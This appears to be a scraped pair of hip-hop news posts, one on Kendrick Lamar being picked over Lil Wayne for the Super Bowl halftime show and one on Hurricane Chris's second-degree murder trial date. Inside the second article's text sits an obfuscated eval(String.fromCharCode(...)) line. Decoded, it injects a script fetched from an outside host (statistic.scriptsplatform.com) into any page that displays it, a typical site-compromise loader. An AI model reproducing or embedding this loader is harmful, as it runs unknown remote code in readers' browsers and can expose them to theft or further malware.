Lil Wayne Snubbed for Super Bowl Performance, Kendrick Lamar Takes the Stage

Posted by thekonnected — Mon, 16 Sep 2024 19:45 GMT

In an announcement that has left many hip-hop fans surprised and some even disappointed, the NFL has chosen Kendrick Lamar to perform at the upcoming Super Bowl halftime show, bypassing one of rap's most influential and enduring figures-Lil Wayne.The decision comes as a shock to many considering Lil Wayne's decades-long influence on the rap game. Having shaped a generation of hip-hop with iconic albums like Tha Carter series and countless hit singles, Wayne has been a force to be reckoned with since the late '90s. His ability to evolve musically over the years, collaborate across genres, and consistently stay relevant makes him, in the eyes of many, a prime candidate for a stage as grand as the Super Bowl. On the other hand, Kendrick Lamar, a critically acclaimed and award-winning artist, has also earned his place in music history. Known for his lyricism, storytelling, and social commentary, Kendrick's music resonates deeply with a wide audience. His 2022 Mr. Morale & The Big Steppers tour was a huge success, and his performance alongside Dr. Dre, Snoop Dogg, Eminem, and Mary J. Blige during the 2022 Super Bowl halftime show was hailed as legendary. His consistent chart-topping albums and cultural impact certainly validate his selection, but Lil Wayne's omission still raises questions. Some fans argue that Lil Wayne, often considered one of the greatest rappers alive, has contributed just as much, if not more, to the mainstream success of hip-hop as Kendrick. With classic hits like "Lollipop," "A Milli," and "6 Foot 7 Foot," Lil Wayne's catalog is stacked with fan favorites that have dominated the charts. Additionally, his collaborations with other major artists, such as Drake and Nicki Minaj, have cemented his status as a rap mogul. The snub may also spark conversations about generational divides within the music industry. While Kendrick Lamar's music is deeply reflective of today's societal challenges, Lil Wayne's early 2000s dominance might have made some believe his Super Bowl moment has passed. However, this perspective overlooks Wayne's continued relevance, with his recent projects and features proving he's far from a relic of the past.For now, fans of Lil Wayne will have to wait for what seems like an inevitable Super Bowl stage moment. With his iconic legacy, undeniable talent, and massive following, it's hard to imagine the NFL passing up Wayne forever. But for 2024, it's Kendrick Lamar who will carry the torch, taking center stage at one of the most-watched events in the world.The conversation around who deserves the Super Bowl spotlight is far from over, but for many, Lil Wayne's exclusion will remain a hot topic until the NFL finally gives him his due. via: https://thekonnected.net/lil-wayne-snubbed-for-super-bowl-performance-kendrick-lamar-takes-the-stage/

HURRICANE CHRIS' SECOND-DEGREE MURDER TRIAL DATE REPORTEDLY SET FOR NEXT MONTH

Posted by thekonnected — Thu, 19 Jan 2023 22:12 GMT

Hurricane Chris will reportedly be heading to court next month for the trial relating to his second-degree murder charge stemming from a June 2020 incident. According to a report from The Shade Room, a February 13 date was confirmed in court on Tuesday (January 17). Ahead of the trial, Chris will also appear in court on February 1 for an argument and hearing date. about:blank The "A Bay Bay" rapper (real name Chris Dooley) was arrested after fatally shooting a man who allegedly tried to steal his car (which turned out to be stolen) outside of a convenience store in Shreveport, Louisiana. The officers who were called to the scene discovered a man with gunshot wounds to the chest, hip and stomach. The man was rushed to a local hospital where he died from his injuries. The rapper was also charged with illegal possession of the stolen 2016 Mercedes Sedan. Chris has been out on bond since posting the $500,000 just two days after his arrest. He has maintained his innocence and asserts that his "name will be cleared." "Hello world, hello world, hello world," he said in a video after posting bond. "I'm sure you got the news by now. I was involved in a very unfortunate incident on Friday morning, a very unfortunate incident. I wanna thank everybody who's been praying for the family of the deceased and everybody who's been praying for my family. "After a good, thorough investigation, my name will be cleared," he continued. "Let God work, watch God work. God bless. Thank you." The Shreveport native claims he was acting in self-defense, but investigators determined video footage of the incident doesn't support that theory. They also learned the vehicle the deceased victim was allegedly attempting to steal was reported stolen out of Texas. var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/ via: https://thekonnected.net/hurricane-chris-second-degree-murder-trial-date-reportedly-set-for-next-month/
